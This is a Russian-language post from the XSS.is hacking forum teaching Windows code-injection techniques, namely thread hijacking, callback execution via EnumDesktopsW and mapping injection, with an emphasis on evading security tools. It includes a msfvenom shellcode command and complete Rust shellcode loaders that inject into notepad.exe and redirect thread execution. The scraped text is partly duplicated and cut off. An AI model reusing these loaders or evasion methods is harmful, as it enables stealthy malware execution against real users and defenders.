D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
В этой статье мы рассматриваем техники внедрения — продвинутый подход, позволяющий внедрять код в легитимные процессы. Широко используемый в реальных сценариях атак, этот метод обеспечивает скрытное выполнение кода за счет использования привилегий и возможностей целевых процессов. Мы рассмотрим различные техники внедрения с практическими примерами, которые связывают теоретические концепции с их реальными сценариями.
Прошлые статьи, связанные с той же темой, пользователя shqnx :
Потоки совместно используют процессор (CPU), создавая у пользователя иллюзию одновременного выполнения нескольких программ.
Перехват выполнения потока представляет собой сложную технику внедрения кода, которая позволяет злоумышленникам выполнять вредоносные полезные нагрузки путем манипулирования существующими процессами, вместо создания новых потоков. Этот метод работает путем временной приостановки выполнения легитимного потока, изменения регистра указателя инструкций (который указывает на следующую инструкцию в сегменте памяти .text) для перенаправления на полезную нагрузку злоумышленника и последующего возобновления потока — фактически захватывая поток выполнения исходного процесса. Используя существующие потоки вместо создания новых, эта техника потенциально может обойти механизмы обнаружения, которые отслеживают создание потоков, что делает её особенно скрытным подходом к выполнению кода.
мы будем использовать Msfvenom для генерации шелл-пейлоада, поэтому нам нужно войти в нашу машину Kali, после этого мы сгенерируем наш шеллкод, введя это:
Прежде чем мы начнем объяснять эту технику, необходимо понять контекст потока.
Потоки предоставляют программистам способ выражения параллелизма в программе. В многопоточных параллельных программах существует несколько потоков выполнения, происходящих одновременно, они могут выполнять одинаковые или различные задачи. Контекст потока включает в себя комплексный набор структур, которые Windows поддерживает для каждого запущенного потока, включая критически важные элементы, такие как регистры процессора и информацию о стеке. Это позволяет операционной системе беспрепятственно приостанавливать и возобновлять выполнение потока, сохраняя точное состояние операций в любой момент времени, это похоже на создание снимков запущенных процессов и их хранение для отслеживания. Windows API предоставляет две мощные функции, которые научились использовать как исследователи безопасности, так и злоумышленники: GetThreadContext и SetThreadContext. Эти API служат шлюзом для манипуляции потоками, позволяя получать прямой доступ к состоянию выполнения потока и изменять его. GetThreadContext получает полный контекст потока, заполняя структуру CONTEXT, в то время как его counterpart, SetThreadContext, может изменять этот контекст, принимая модифицированную структуру CONTEXT. Эти два WinAPI будут играть решающую роль в перехвате потоков, и поэтому было бы полезно рассмотреть WinAPI и связанные с ними параметры.
Почему нам нужно всё это делать?
Следующий шаг включает в себя модификацию контекста потока. Эта манипуляция достигается путем изменения регистра указателя инструкций (RIP) целевого потока, чтобы он указывал на шелл-код. Когда поток возобновляет выполнение, вместо продолжения своей исходной задачи, он переходит к внедренному шелл-коду и начинает его выполнение. API ResumeThread используется для возобновления потока и позволяет ему продолжить работу, но уже с измененным контекстом.
Чтобы лучше понять, как работает удаленное внедрение потока, рассмотрим пример, где мы нацеливаемся на безобидный процесс, такой как Notepad.exe. Атакующий сначала идентифицирует активный поток в процессе Notepad, используя такие API, как CreateToolhelp32Snapshot и Thread32First. После обнаружения потока внедряется вредоносный код и изменяется контекст, направляя указатель инструкций на полезную нагрузку атакующего.
После успешного перехвата потока целевой процесс возобновляется с помощью функции ResumeThread, что приводит к выполнению шелл-кода. Однако этот подход несет в себе риски. Манипулирование состоянием потока таким образом часто приводит к повреждению работы потока, и во многих случаях это приводит к сбою всего процесса после завершения выполнения внедренного кода.
Спойлер: main.rs
C++: Скопировать в буфер обмена
В нашем примере мы будем использовать функцию обратного вызова EnumDesktopsW.
Код: Скопировать в буфер обмена
Перечисляет все рабочие столы, связанные с указанной оконной станцией вызывающего процесса. Функция последовательно передает имя каждого рабочего стола в определенную приложением функцию обратного вызова.
C++: Скопировать в буфер обмена
Использование функций обратного вызова вместо известных вызовов API, таких как CreateThread, является хорошим вариантом для избежания возможных мер безопасности.
Дополнительные функции обратного вызова можно найти, посетив этот репозиторий GitHub, содержащий список наиболее распространенных функций обратного вызова.
CreateFileMappingA:
Этот вызов API возвращает дескриптор файлового объекта, а содержимое файла на диске сопоставляется с областью памяти.
Код: Скопировать в буфер обмена
MapViewofFile:
Этот вызов API отображает представление сопоставления файла в адресное пространство вызывающего процесса.
Код: Скопировать в буфер обмена
MapViewOfFile2:
Этот вызов API отображает представление файла в адресное пространство указанного удаленного процесса.
Код: Скопировать в буфер обмена
Этапы использования общей памяти в Windows:
Как мы видим, память является "Mapped", а не "Private", что помогает нам улучшить нашу технику уклонения и выглядеть более законно.
Function stomping (затирание функции) - это метод, при котором байты исходной функции заменяются новым кодом, что приводит к замене функции или к тому, что она перестает работать по назначению. Вместо этого функция будет выполнять другую логику. Для реализации этого требуется адрес функции, которая будет "принесена в жертву" для затирания.
Локальное получение адреса функции является простым, но основной проблемой данной техники является то, какая именно функция извлекается. Перезапись часто используемой функции может привести к неконтролируемому выполнению полезной нагрузки или краху процесса. Поэтому следует понимать, что нацеливание на функции, экспортируемые из ntdll.dll, kernel32.dll и kernelbase.dll, является рискованным. Вместо этого следует выбирать менее часто используемые функции, такие как MessageBox, поскольку они редко используются операционной системой или другими приложениями.
C++: Скопировать в буфер обмена
Например, два процесса, A и B, будут совместно использовать Kernel32.dll, но адрес DLL может быть различным в каждом процессе из-за ASLR. Тем не менее, VirtualAlloc, экспортируемый из Kernel32.dll, будет иметь одинаковый адрес в обоих процессах.
Важно отметить, что для удаленного выполнения подмены функций, DLL, экспортирующая целевую функцию, должна уже быть загружена в целевой процесс. Например, чтобы использовать функцию MessageBoxA в удаленном процессе, которая экспортируется из user32.dll, эта DLL должна уже быть загружена в целевой процесс. Если в удаленном процессе не загружен user32.dll, функция MessageBoxA не будет присутствовать в целевом процессе, что приведет к попытке записи по несуществующему адресу.
C++: Скопировать в буфер обмена
Спойлер: main.rs
C++: Скопировать в буфер обмена
Надеюсь, вам понравится моя статья. Если у вас есть какие-либо вопросы, отзывы или предложения, или если вы заметили какие-либо ошибки, пожалуйста, не стесняйтесь оставлять комментарии.
Написано с любовью
для XSS.is пользователем voldemort
Прошлые статьи, связанные с той же темой, пользователя shqnx :
1- Thread Hijacking.
Поток является наименьшей единицей выполнения внутри процесса. Это последовательность инструкций, которая может выполняться независимо от других частей того же процесса. Потоки совместно используют одно и то же пространство памяти и другие ресурсы процесса, к которому они принадлежат, но имеют собственный счетчик команд, набор регистров и стек. Это позволяет нескольким потокам выполняться одновременно в рамках одного процесса, улучшая производительность и использование ресурсов.Потоки совместно используют процессор (CPU), создавая у пользователя иллюзию одновременного выполнения нескольких программ.
Перехват выполнения потока представляет собой сложную технику внедрения кода, которая позволяет злоумышленникам выполнять вредоносные полезные нагрузки путем манипулирования существующими процессами, вместо создания новых потоков. Этот метод работает путем временной приостановки выполнения легитимного потока, изменения регистра указателя инструкций (который указывает на следующую инструкцию в сегменте памяти .text) для перенаправления на полезную нагрузку злоумышленника и последующего возобновления потока — фактически захватывая поток выполнения исходного процесса. Используя существующие потоки вместо создания новых, эта техника потенциально может обойти механизмы обнаружения, которые отслеживают создание потоков, что делает её особенно скрытным подходом к выполнению кода.
мы будем использовать Msfvenom для генерации шелл-пейлоада, поэтому нам нужно войти в нашу машину Kali, после этого мы сгенерируем наш шеллкод, введя это:
msfvenom -p windows/x64/exec CMD=calc.exe -f rust
Прежде чем мы начнем объяснять эту технику, необходимо понять контекст потока.
Потоки предоставляют программистам способ выражения параллелизма в программе. В многопоточных параллельных программах существует несколько потоков выполнения, происходящих одновременно, они могут выполнять одинаковые или различные задачи. Контекст потока включает в себя комплексный набор структур, которые Windows поддерживает для каждого запущенного потока, включая критически важные элементы, такие как регистры процессора и информацию о стеке. Это позволяет операционной системе беспрепятственно приостанавливать и возобновлять выполнение потока, сохраняя точное состояние операций в любой момент времени, это похоже на создание снимков запущенных процессов и их хранение для отслеживания. Windows API предоставляет две мощные функции, которые научились использовать как исследователи безопасности, так и злоумышленники: GetThreadContext и SetThreadContext. Эти API служат шлюзом для манипуляции потоками, позволяя получать прямой доступ к состоянию выполнения потока и изменять его. GetThreadContext получает полный контекст потока, заполняя структуру CONTEXT, в то время как его counterpart, SetThreadContext, может изменять этот контекст, принимая модифицированную структуру CONTEXT. Эти два WinAPI будут играть решающую роль в перехвате потоков, и поэтому было бы полезно рассмотреть WinAPI и связанные с ними параметры.
Почему нам нужно всё это делать?
- Повышенная скрытность: При перехвате существующего потока выполнение полезной нагрузки выглядит как часть нормальных операций процесса, поскольку точка входа потока остаётся связанной с легитимными функциями процесса. Это значительно затрудняет обнаружение вредоносной активности средствами безопасности.
- Уменьшение раскрытия полезной нагрузки: Создание нового потока требует явной установки точки входа, указывающей на расположение полезной нагрузки в памяти. Это фактически раскрывает базовый адрес полезной нагрузки, что облегчает средствам безопасности обнаружение и анализ вредоносного кода.
Local Thread Creation
Вот шаги, которые нам необходимо сделать:- Создание целевого потока: Предпосылкой для выполнения захвата потока является нахождение работающего потока, который можно захватить. Следует отметить, что невозможно захватить основной поток локального процесса, потому что целевой поток должен быть сначала помещен в приостановленное состояние. Это становится проблемой при целенаправленном захвате основного потока, так как именно он выполняет код и не может быть приостановлен. Поэтому не следует целенаправленно захватывать основной поток при выполнении локального захвата потока.
- Изменение контекста потока: Следующий шаг — это извлечение контекста потока для его изменения и перенаправления на полезную нагрузку. Когда поток продолжит выполнение, полезная нагрузка будет выполнена.
Как уже упоминалось, для извлечения структуры CONTEXT целевого потока будет использована функция GetThreadContext. Некоторые значения этой структуры будут изменены для изменения контекста текущего потока с помощью функции SetThreadContext. Значения, которые изменяются в структуре, определяют, что поток будет выполнять следующим. Эти значения — это регистры RIP (для 64-битных процессоров) или EIP (для 32-битных процессоров).
Регистр RIP и EIP, также известные как регистры указателя команды, указывают на следующую команду для выполнения. Они обновляются после выполнения каждой команды. - Установка ContextFlags: Обратите внимание, что второй параметр функции GetThreadContext, lpContext, помечен как параметр IN & OUT. Раздел "Примечания" в документации Microsoft гласит:
Функция извлекает выборочный контекст на основе значения члена ContextFlags структуры контекста.
По сути, Microsoft утверждает, что CONTEXT.ContextFlags должно быть установлено в значение до вызова функции. ContextFlags устанавливается в флаг CONTEXT_CONTROL для извлечения значений регистров управления.
Следовательно, установка CONTEXT.ContextFlags в CONTEXT_CONTROL необходима для выполнения захвата потока. В качестве альтернативы можно также использовать CONTEXT_ALL для выполнения захвата потока.
Код:
use {
std::{
mem::size_of,
ptr::{copy_nonoverlapping, null},
},
windows::Win32::{
System::{
Diagnostics::{
Debug::{GetThreadContext, SetThreadContext, CONTEXT},
ToolHelp::{CreateToolhelp32Snapshot, Thread32First, Thread32Next, TH32CS_SNAPTHREAD, THREADENTRY32},
},
Memory::{VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE,
PAGE_PROTECTION_FLAGS, PAGE_READWRITE,
},
Threading::{
GetCurrentProcessId, GetCurrentThreadId, OpenThread, ResumeThread, SuspendThread,
WaitForSingleObject, INFINITE, THREAD_ALL_ACCESS,
}
},
Foundation::HANDLE, System::Diagnostics::Debug::CONTEXT_ALL_AMD64,
},
};
#[repr(align(16))]
#[derive(Default)]
struct AlignedContext {
ctx: CONTEXT
}
unsafe fn find_thread() -> Result<HANDLE, String> {
let process_pid = GetCurrentProcessId();
let thread_pid = GetCurrentThreadId();
let hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0).expect("CreateToolhelp32Snapshot Failed With Error");
let mut thr = THREADENTRY32 {
dwSize: size_of::<THREADENTRY32>() as u32,
..Default::default()
};
if Thread32First(hsnap, &mut thr).is_ok() {
loop {
if thr.th32OwnerProcessID == process_pid && thr.th32ThreadID != thread_pid {
let h_thread = OpenThread(THREAD_ALL_ACCESS, false, thr.th32ThreadID).expect("Failed to open thread");
return Ok(h_thread);
}
if Thread32Next(hsnap, &mut thr).is_err() {
break;
}
}
}
Err("Thread not found".to_string())
}
fn main() -> Result<(), String> {
let shellcode: [u8; 276] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
];
unsafe {
println!("[+] Searching for the thread handle ");
let hthread = find_thread()?;
// Allocating memory for the shellcode
let address = VirtualAlloc(
Some(null()),
shellcode.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
// Copying the payload to the allocated memory
println!("[+] Copying the shellcode");
copy_nonoverlapping(shellcode.as_ptr() as _, address, shellcode.len());
// Changing the memory protection
let mut oldprotect = PAGE_PROTECTION_FLAGS(0);
VirtualProtect(
address,
shellcode.len(),
PAGE_EXECUTE_READWRITE,
&mut oldprotect,
).map_err(|e| format!("VirtualProtect Failed With Error: {e}"))?;
let mut ctx_thread = AlignedContext {
ctx: CONTEXT {
ContextFlags: CONTEXT_ALL_AMD64,
..Default::default()
},
};
// Suspending the thread
SuspendThread(hthread);
println!("[+] Retrieving thread context");
// Getting the original thread context
GetThreadContext(hthread, &mut ctx_thread.ctx).map_err(|e| format!("GetThreadContext Failed With Error: {e}"))?;
// Updating the instruction pointer with the address of our shellcode
ctx_thread.ctx.Rip = address as u64;
println!("[+] Setting the thread context");
// Updating the new thread context with the address of our shellcode
SetThreadContext(hthread, &ctx_thread.ctx).map_err(|e| format!("SetThreadContext Failed With Error: {e}"))?;
println!("[+] Thread Executed!");
// Resuming suspended thread, so that it runs our shellcode
ResumeThread(hthread);
WaitForSingleObject(hthread, INFINITE);
}
Ok(())
}
Remote Thread Creation
Процесс внедрения кода в удаленный процесс обычно начинается с идентификации потока в целевом процессе. После обнаружения подходящего потока атакующий выделяет память в целевом процессе для хранения вредоносного шелл-кода. Затем шелл-код копируется в выделенную память, и выполнение целевого потока временно приостанавливается.Следующий шаг включает в себя модификацию контекста потока. Эта манипуляция достигается путем изменения регистра указателя инструкций (RIP) целевого потока, чтобы он указывал на шелл-код. Когда поток возобновляет выполнение, вместо продолжения своей исходной задачи, он переходит к внедренному шелл-коду и начинает его выполнение. API ResumeThread используется для возобновления потока и позволяет ему продолжить работу, но уже с измененным контекстом.
Чтобы лучше понять, как работает удаленное внедрение потока, рассмотрим пример, где мы нацеливаемся на безобидный процесс, такой как Notepad.exe. Атакующий сначала идентифицирует активный поток в процессе Notepad, используя такие API, как CreateToolhelp32Snapshot и Thread32First. После обнаружения потока внедряется вредоносный код и изменяется контекст, направляя указатель инструкций на полезную нагрузку атакующего.
После успешного перехвата потока целевой процесс возобновляется с помощью функции ResumeThread, что приводит к выполнению шелл-кода. Однако этот подход несет в себе риски. Манипулирование состоянием потока таким образом часто приводит к повреждению работы потока, и во многих случаях это приводит к сбою всего процесса после завершения выполнения внедренного кода.
Спойлер: main.rs
C++: Скопировать в буфер обмена
Код:
use std::mem::size_of;
use sysinfo::System;
use windows::Win32::System::{
Diagnostics::{
Debug::{GetThreadContext, SetThreadContext, WriteProcessMemory, CONTEXT},
ToolHelp::{
CreateToolhelp32Snapshot, Thread32First, Thread32Next, TH32CS_SNAPTHREAD, THREADENTRY32,
},
},
Memory::{
VirtualAllocEx, VirtualProtectEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE,
PAGE_PROTECTION_FLAGS, PAGE_READWRITE,
},
Threading::{
OpenProcess, OpenThread, ResumeThread,SuspendThread,WaitForSingleObject, INFINITE,
PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS,
},
};
use windows::Win32::{Foundation::HANDLE, System::Diagnostics::Debug::CONTEXT_ALL_AMD64};
#[repr(align(16))]
#[derive(Default)]
struct AlignedContext {
ctx: CONTEXT
}
fn main() -> Result<(), String> {
let shellcode: [u8; 276] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
];
println!("[+] Searching for the process handle");
let process = find_process("notepad.exe")?;
let hprocess = process.0;
let pid = process.1;
println!("[+] Searching for the thread handle");
let hthread = find_thread(pid)?;
let address = unsafe {
VirtualAllocEx(
hprocess,
None,
shellcode.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
)};
if address.is_null() {
return Err("VirtualAllocEx failed".to_string());
}
//address loction
println!("[+] Payload at Address 0x{:x}", address as u64);
println!("[+] Writing the shellcode");
let mut return_len = 0;
unsafe {
WriteProcessMemory(
hprocess,
address,
shellcode.as_ptr() as _,
shellcode.len(),
Some(&mut return_len),
).unwrap_or_else(|e| {
panic!("[!] WriteProcessMemory Failed With Error: {e}");
})
};
let mut oldprotect = PAGE_PROTECTION_FLAGS(0);
unsafe {
VirtualProtectEx(
hprocess,
address,
shellcode.len(),
PAGE_EXECUTE_READWRITE,
&mut oldprotect,
).unwrap_or_else(|e| {
panic!("[!] VirtualProtectEx Failed With Error: {e}");
})
};
let mut ctx_thread = AlignedContext {
ctx: CONTEXT {
ContextFlags: CONTEXT_ALL_AMD64,
..Default::default()
}
};
println!("[+] Stopping the thread");
unsafe { SuspendThread(hthread); }
println!("[+] Retrieving the thread context");
unsafe {
GetThreadContext(hthread, &mut ctx_thread.ctx).unwrap_or_else(|e| {
panic!("[!] GetThreadContext Failed With Error: {e}");
})
};
ctx_thread.ctx.Rip = address as u64;
println!("[+] Setting the thread context");
unsafe {
SetThreadContext(hthread, &ctx_thread.ctx).unwrap_or_else(|e| {
panic!("[!] SetThreadContext Failed With Error: {e}");
})
};
println!("[+] Thread Executed!");
unsafe { ResumeThread(hthread); }
unsafe { WaitForSingleObject(hthread, INFINITE); }
Ok(())
}
fn find_process(name: &str) -> Result<(HANDLE,u32), String> {
let mut system = System::new_all();
system.refresh_all();
let processes: Vec<_> = system
.processes()
.values()
.filter(|process| process.name().to_ascii_lowercase() == name)
.collect();
if let Some(process) = processes.into_iter().next() {
println!("[i] Process with PID found: {}", process.pid());
let hprocess = unsafe { OpenProcess(PROCESS_ALL_ACCESS, false, process.pid().as_u32()).expect("Error opening process!") };
return Ok((hprocess, process.pid().as_u32()));
}
Err("Error finding process PID!".to_string())
}
fn find_thread(pid: u32) -> Result<HANDLE, String> {
let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0).map_err(|_| "Failed to create snapshot".to_string())? };
let mut entry = THREADENTRY32 {
dwSize: size_of::<THREADENTRY32>() as u32,
..Default::default()
};
if unsafe { Thread32First(snapshot, &mut entry).is_ok() } {
loop {
if entry.th32OwnerProcessID == pid {
return unsafe { OpenThread(THREAD_ALL_ACCESS, false, entry.th32ThreadID)
.map_err(|_| "Failed to open thread".to_string()) };
}
if unsafe { Thread32Next(snapshot, &mut entry).is_err() } {
break;
}
}
}
Err("Thread not found".to_string())
}
2- Callback functions (EnumDesktopsW).
Функции обратного вызова (callback functions) используются для обработки событий или выполнения действий при выполнении определенного условия. Они применяются в различных сценариях в операционной системе Windows, включая обработку событий, управление окнами и многопоточность. Определение функции обратного вызова от Microsoft следующее:Обратные вызовы Windows могут быть выполнены с использованием указателя на функцию. Для запуска полезной нагрузки необходимо передать адрес полезной нагрузки вместо действительного указателя на функцию обратного вызова. Нет необходимости правильно использовать функции, передавая соответствующие параметры. Возвращаемое значение или функциональность этих функций не имеет значения.Функция обратного вызова — это код в управляемом приложении, который помогает неуправляемой функции DLL выполнить задачу. Вызовы функции обратного вызова передаются косвенно из управляемого приложения через функцию DLL и обратно в управляемую реализацию.
Нажмите, чтобы раскрыть...
В нашем примере мы будем использовать функцию обратного вызова EnumDesktopsW.
Код: Скопировать в буфер обмена
Код:
pub unsafe fn EnumDesktopsW<P0, P1>(
hwinsta: P0,
lpenumfunc: DESKTOPENUMPROCW,
lparam: P1,
) -> Result<()>
where
P0: Param<HWINSTA>,
P1: Param<LPARAM>,
C++: Скопировать в буфер обмена
Код:
use {
std::{
ptr::{copy_nonoverlapping, null},
},
windows::Win32::{
System::{
Memory::{VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE,
PAGE_PROTECTION_FLAGS, PAGE_READWRITE
},
},
},
};
use windows::Win32::System::StationsAndDesktops::{EnumDesktopsW, GetProcessWindowStation};
use windows::Win32::Foundation::LPARAM;
fn main() -> Result<(), String> {
let shellcode: [u8; 276] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
];
unsafe {
// Allocating memory for the shellcode
let address = VirtualAlloc(
Some(null()),
shellcode.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
// Copying the payload to the allocated memory
println!("[+] Copying the shellcode");
copy_nonoverlapping(shellcode.as_ptr() as _, address, shellcode.len());
// Changing the memory protection
let mut oldprotect = PAGE_PROTECTION_FLAGS(0);
VirtualProtect(
address,
shellcode.len(),
PAGE_EXECUTE_READWRITE,
&mut oldprotect,
).map_err(|e| format!("VirtualProtect Failed With Error: {e}"))?;
let hwinsta = match GetProcessWindowStation() {
Ok(hwinsta) => hwinsta,
Err(_) => return Err("GetProcessWindowStation Failed".to_string()), // Handle the error case
};
let _ = EnumDesktopsW(Some(hwinsta), Some(std::mem::transmute(address)), LPARAM(0));
}
Ok(())
}
Дополнительные функции обратного вызова можно найти, посетив этот репозиторий GitHub, содержащий список наиболее распространенных функций обратного вызова.
3- Mapping Injection.
